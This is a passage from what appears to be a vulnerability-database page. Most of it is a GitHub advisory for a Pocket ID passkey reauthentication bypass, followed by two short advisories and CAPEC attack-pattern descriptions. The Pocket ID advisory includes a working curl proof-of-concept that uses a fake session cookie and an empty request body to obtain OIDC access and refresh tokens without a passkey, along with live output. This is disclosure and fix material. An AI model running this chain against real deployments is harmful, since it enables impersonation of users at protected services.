-d '{"clientID":"3654a746-...","scope":"openid profile email",
"callbackURL":"http://nextcloud/auth/callback",
"reauthenticationToken":"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7"}'
# Returns: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"..."}
# OIDC authorization code issued without passkey!
# Exchange for full OIDC token set
curl -s -X POST http://localhost:1411/api/oidc/token \
-d "grant_type=authorization_code&code=J31Zkp...&client_id=3654a746-..."
# Returns: access_token, id_token, refresh_token
Live output from the test run:
[A3] Bypass reauthentication (empty body -> access token fallback)...
Reauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7
[A4] Authorize Nextcloud (requiresReauthentication=true)...
Authorize response: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"http://nextcloud/auth/callback","issuer":"http://localhost:1411"}
[A5] Exchange authorization code for OIDC tokens...
Token response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in']
=== FULL CHAIN COMPLETE ===
Impact
The RequiresReauthentication feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access:
- Unauthorized victim-scoped downstream access: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation.
- Persistent access via refresh token: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces new access tokens and userinfo access.
- Collapsed security boundary: The passkey reauthentication requirement degenerates to two non-security-relevant checks: (1) JWT
IssuedAtrecency (satisfied by any login method) and (2) session cookie existence (satisfied by any arbitrary cookie value). Neither check verifies that a passkey ceremony occurred. - Email compromise escalation: An attacker who gains access to a user's email can trigger and intercept a one-time access token, then authorize any OIDC client including those the admin explicitly protected with passkey reauthentication.
- Downstream service exposure: OIDC clients protected by reauthentication typically guard sensitive services (admin panels, CI/CD, infrastructure access). The bypass grants full OIDC tokens including access_token (1h TTL), id_token (with victim's name, email, profile), and refresh_token (30-day TTL, renewable).
Scope: The bypass affects OIDC client authorization (the sole consumer of reauthentication tokens). Other sensitive operations (WebAuthn credential management, user profile changes, admin operations) do not use reauthentication tokens.
Escalation vectors investigated and ruled out: - Non-admin privilege escalation: tested live, non-admin users get 403 on admin endpoints (OIDC client modification, OTA creation for other users). No middleware confusion. - IDOR in OTA minting: all OTA creation endpoints properly enforce admin auth or are self-service only. No cross-user forgery. - OTA replay: OTA tokens are properly single-use (deleted from DB on exchange).
Suggested Fix
The access-token fallback in CreateReauthenticationTokenWithAccessToken should verify that the session was established via a strong authentication method (passkey/WebAuthn), not just that the access token is fresh.
Option 1 (simplest): Remove the access-token fallback entirely. Always require a WebAuthn ceremony for reauthentication.
Option 2: Add an auth_method claim to the access token when generated via passkey login. The reauthentication fallback should only succeed for tokens with auth_method: "webauthn".
// In GenerateAccessToken, add auth method context
func (s *JwtService) GenerateAccessToken(user model.User, authMethod string) (string, error) {
// ... existing code ...
// Add auth_method claim
}
// In CreateReauthenticationTokenWithAccessToken, check auth method
func (s *WebAuthnService) CreateReauthenticationTokenWithAccessToken(...) (string, error) {
// ... existing verification ...
authMethod, _ := token.Get("auth_method")
if authMethod != "webauthn" {
return "", &common.ReauthenticationRequiredError{}
}
// ... rest of function ...
}
Self-Review
- Is this by-design? No. The 60-second freshness window was designed for UX after passkey login (avoid immediate re-prompt). But it accepts any fresh token, not just passkey-authenticated ones. The
RequiresReauthenticationfeature clearly intends to enforce passkey interaction. - Are there upstream bounds? No. The only check is
IssuedAtfreshness. All login methods produce equivalent tokens. - Honest weaknesses: Requires obtaining a one-time access token (email interception or admin-issued). The 60-second window is tight for manual exploitation but trivial for scripts. Impact is limited to OIDC client authorization. The non-validating session cookie weakens the boundary but does not change the fundamental precondition (needing a fresh JWT).
- Existing reports: No prior reports for this issue. CVE-2026-28512 and CVE-2026-28513 are unrelated.
- Prior art: No competing reports found on GitHub issues, security advisories, or huntr.
Koda Reef
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pocket-id/pocket-id/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260419162744-978ac87deffe"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-28T14:25:30Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Reauthentication Bypass via One-Time Access Token Login\n\n## Summary\n\nA weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with `RequiresReauthentication: true`. The `POST /api/webauthn/reauthenticate` endpoint\u0027s access-token fallback checks only JWT freshness (`IssuedAt` within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. `session=deadbeef`) is accepted, collapsing the reauth boundary to token recency alone.\n\nThe bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains `access_token` (1-hour TTL), `id_token` (victim\u0027s name, email, profile), and `refresh_token` (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely.\n\n## Root Cause\n\n`CreateReauthenticationTokenWithAccessToken` (webauthn_service.go:362-403) only checks that the access token\u0027s `IssuedAt` claim is less than 60 seconds old:\n\n```go\n// webauthn_service.go:378-381\ntokenExpiration, ok := token.IssuedAt()\nif !ok || time.Since(tokenExpiration) \u003e time.Minute {\n return \"\", \u0026common.ReauthenticationRequiredError{}\n}\n```\n\nIt does not check HOW the user originally authenticated. The `reauthenticateHandler` (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion:\n\n```go\n// webauthn_controller.go:189-199\ncredentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body)\nif err == nil {\n token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...)\n} else {\n // FALLBACK: Only checks access token age, not auth method\n accessToken, _ := c.Cookie(cookie.AccessTokenCookieName)\n token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken)\n}\n```\n\nAdditionally, the handler\u0027s session cookie check (line 180) only verifies that a cookie named `session` exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. `session=deadbeef`) satisfies the check:\n\n```go\n// webauthn_controller.go:180-184\nsessionID, err := c.Cookie(cookie.SessionIdCookieName)\nif err != nil {\n _ = c.Error(\u0026common.MissingSessionIdError{})\n return\n}\n// sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT\n// to CreateReauthenticationTokenWithAccessToken (the fallback path)\n```\n\nIn the fallback path, the `sessionID` variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session.\n\nMeanwhile, `GenerateAccessToken` (jwt_service.go:190-195) always sets `IssuedAt(now)` regardless of how authentication was performed:\n\n```go\n// jwt_service.go:191-195\nnow := time.Now()\ntoken, err := jwt.NewBuilder().\n Subject(user.ID).\n Expiration(now.Add(...)).\n IssuedAt(now). // Always \"now\" \u2014 regardless of auth method\n```\n\nThis function is called by:\n1. WebAuthn login (intended passkey path)\n2. One-time access token exchange (one_time_access_service.go:200)\n3. User signup (user_signup_controller.go:182)\n\nAll three produce tokens that bypass the reauthentication freshness check.\n\n## Attack Chain\n\n**Precondition**: An OIDC client has `RequiresReauthentication: true`. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled).\n\n1. **Exchange OTA for fresh JWT**: `POST /api/one-time-access-token/{token}` returns a fresh access token with `IssuedAt = now`.\n\n2. **Set any session cookie**: The handler checks for cookie existence only. Set `session=deadbeef` (or any arbitrary value). No need to call `/api/webauthn/login/start`.\n\n3. **Bypass reauthentication**: `POST /api/webauthn/reauthenticate` with empty body `{}` and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction.\n\n4. **Authorize sensitive client**: `POST /api/oidc/authorize` with the reauthentication token and the target client\u0027s ID. The authorization code is issued.\n\n5. **Get OIDC tokens**: `POST /api/oidc/token` exchanges the authorization code for access_token, id_token, and refresh_token.\n\nAll steps complete in under 2 seconds (60-second window is trivial for scripts).\n\n## Proof of Concept (Verified Live)\n\nTested against Pocket ID HEAD (626adbf) running in Docker with e2etest build.\n\n```bash\n# Seed test database\ncurl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true\n\n# Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV)\ncurl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV\n# Returns 200 with user info, sets access_token cookie with IssuedAt=now\n\n# Bypass reauthentication - empty body triggers access token fallback\n# Session cookie can be ANY arbitrary value - handler only checks existence\ncurl -s -b cookies.txt -b \"session=deadbeef\" -X POST http://localhost:1411/api/webauthn/reauthenticate \\\n -H \"Content-Type: application/json\" -d \u0027{}\u0027\n# Returns: {\"reauthenticationToken\":\"al9JkF9kVI0V3UsAqMJIIF73N4ogHial\"}\n# NO passkey interaction! Fake session cookie accepted!\n\n# Authorize sensitive OIDC client (after enabling RequiresReauthentication)\ncurl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"clientID\":\"3654a746-...\",\"scope\":\"openid profile email\",\n \"callbackURL\":\"http://nextcloud/auth/callback\",\n \"reauthenticationToken\":\"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7\"}\u0027\n# Returns: {\"code\":\"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3\",\"callbackURL\":\"...\"}\n# OIDC authorization code issued without passkey!\n\n# Exchange for full OIDC token set\ncurl -s -X POST http://localhost:1411/api/oidc/token \\\n -d \"grant_type=authorization_code\u0026code=J31Zkp...\u0026client_id=3654a746-...\"\n# Returns: access_token, id_token, refresh_token\n```\n\n**Live output from the test run:**\n```\n[A3] Bypass reauthentication (empty body -\u003e access token fallback)...\nReauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7\n[A4] Authorize Nextcloud (requiresReauthentication=true)...\nAuthorize response: {\"code\":\"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3\",\"callbackURL\":\"http://nextcloud/auth/callback\",\"issuer\":\"http://localhost:1411\"}\n[A5] Exchange authorization code for OIDC tokens...\nToken response keys: [\u0027access_token\u0027, \u0027token_type\u0027, \u0027id_token\u0027, \u0027refresh_token\u0027, \u0027expires_in\u0027]\n=== FULL CHAIN COMPLETE ===\n```\n\n## Impact\n\nThe `RequiresReauthentication` feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access:\n\n- **Unauthorized victim-scoped downstream access**: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation.\n- **Persistent access via refresh token**: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces new access tokens and userinfo access.\n- **Collapsed security boundary**: The passkey reauthentication requirement degenerates to two non-security-relevant checks: (1) JWT `IssuedAt` recency (satisfied by any login method) and (2) session cookie existence (satisfied by any arbitrary cookie value). Neither check verifies that a passkey ceremony occurred.\n- **Email compromise escalation**: An attacker who gains access to a user\u0027s email can trigger and intercept a one-time access token, then authorize any OIDC client including those the admin explicitly protected with passkey reauthentication.\n- **Downstream service exposure**: OIDC clients protected by reauthentication typically guard sensitive services (admin panels, CI/CD, infrastructure access). The bypass grants full OIDC tokens including access_token (1h TTL), id_token (with victim\u0027s name, email, profile), and refresh_token (30-day TTL, renewable).\n\n**Scope**: The bypass affects OIDC client authorization (the sole consumer of reauthentication tokens). Other sensitive operations (WebAuthn credential management, user profile changes, admin operations) do not use reauthentication tokens.\n\n**Escalation vectors investigated and ruled out**:\n- Non-admin privilege escalation: tested live, non-admin users get 403 on admin endpoints (OIDC client modification, OTA creation for other users). No middleware confusion.\n- IDOR in OTA minting: all OTA creation endpoints properly enforce admin auth or are self-service only. No cross-user forgery.\n- OTA replay: OTA tokens are properly single-use (deleted from DB on exchange).\n\n## Suggested Fix\n\nThe access-token fallback in `CreateReauthenticationTokenWithAccessToken` should verify that the session was established via a strong authentication method (passkey/WebAuthn), not just that the access token is fresh.\n\n**Option 1 (simplest)**: Remove the access-token fallback entirely. Always require a WebAuthn ceremony for reauthentication.\n\n**Option 2**: Add an `auth_method` claim to the access token when generated via passkey login. The reauthentication fallback should only succeed for tokens with `auth_method: \"webauthn\"`.\n\n```go\n// In GenerateAccessToken, add auth method context\nfunc (s *JwtService) GenerateAccessToken(user model.User, authMethod string) (string, error) {\n // ... existing code ...\n // Add auth_method claim\n}\n\n// In CreateReauthenticationTokenWithAccessToken, check auth method\nfunc (s *WebAuthnService) CreateReauthenticationTokenWithAccessToken(...) (string, error) {\n // ... existing verification ...\n authMethod, _ := token.Get(\"auth_method\")\n if authMethod != \"webauthn\" {\n return \"\", \u0026common.ReauthenticationRequiredError{}\n }\n // ... rest of function ...\n}\n```\n\n## Self-Review\n\n- **Is this by-design?** No. The 60-second freshness window was designed for UX after passkey login (avoid immediate re-prompt). But it accepts any fresh token, not just passkey-authenticated ones. The `RequiresReauthentication` feature clearly intends to enforce passkey interaction.\n- **Are there upstream bounds?** No. The only check is `IssuedAt` freshness. All login methods produce equivalent tokens.\n- **Honest weaknesses**: Requires obtaining a one-time access token (email interception or admin-issued). The 60-second window is tight for manual exploitation but trivial for scripts. Impact is limited to OIDC client authorization. The non-validating session cookie weakens the boundary but does not change the fundamental precondition (needing a fresh JWT).\n- **Existing reports**: No prior reports for this issue. CVE-2026-28512 and CVE-2026-28513 are unrelated.\n- **Prior art**: No competing reports found on GitHub issues, security advisories, or huntr.\n\n\nKoda Reef",
"id": "GHSA-hp74-gm6m-2qm5",
"modified": "2026-07-28T14:25:30Z",
"published": "2026-07-28T14:25:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-hp74-gm6m-2qm5"
},
{
"type": "WEB",
"url": "https://github.com/pocket-id/pocket-id/commit/978ac87deffec58beaccd15aead975e91b94c8a5"
},
{
"type": "PACKAGE",
"url": "https://github.com/pocket-id/pocket-id"
},
{
"type": "WEB",
"url": "https://github.com/pocket-id/pocket-id/releases/tag/v2.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pocket ID has a reauthentication bypass via one-time access token login \u2014 passkey step-up requirement defeated by JWT freshness check that accepts any login method"
}
GHSA-HP9H-GMR9-R5H4
Vulnerability from github – Published: 2022-04-23 00:03 – Updated: 2022-05-10 00:00An authentication bypass vulnerability was discovered in an internal service of the Lenovo Fan Power Controller2 (FPC2) and Lenovo System Management Module (SMM) firmware during an that could allow an unauthenticated attacker to execute commands on the SMM and FPC2. SMM2 is not affected.
{
"affected": [],
"aliases": [
"CVE-2021-3897"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-22T21:15:00Z",
"severity": "CRITICAL"
},
"details": "An authentication bypass vulnerability was discovered in an internal service of the Lenovo Fan Power Controller2 (FPC2) and Lenovo System Management Module (SMM) firmware during an that could allow an unauthenticated attacker to execute commands on the SMM and FPC2. SMM2 is not affected.",
"id": "GHSA-hp9h-gmr9-r5h4",
"modified": "2022-05-10T00:00:45Z",
"published": "2022-04-23T00:03:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3897"
},
{
"type": "WEB",
"url": "https://support.lenovo.com/us/en/product_security/LEN-72615"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HPC9-P79M-Q8WM
Vulnerability from github – Published: 2025-04-08 21:31 – Updated: 2025-04-08 21:31ColdFusion versions 2023.12, 2021.18, 2025.0 and earlier are affected by an Improper Authentication vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could leverage this vulnerability to bypass authentication mechanisms and execute code with the privileges of the authenticated user. Exploitation of this issue requires user interaction in that a victim must be coerced into performing actions within the application.
{
"affected": [],
"aliases": [
"CVE-2025-30287"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T20:15:26Z",
"severity": "HIGH"
},
"details": "ColdFusion versions 2023.12, 2021.18, 2025.0 and earlier are affected by an Improper Authentication vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could leverage this vulnerability to bypass authentication mechanisms and execute code with the privileges of the authenticated user. Exploitation of this issue requires user interaction in that a victim must be coerced into performing actions within the application.",
"id": "GHSA-hpc9-p79m-q8wm",
"modified": "2025-04-08T21:31:41Z",
"published": "2025-04-08T21:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30287"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/coldfusion/apsb25-15.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.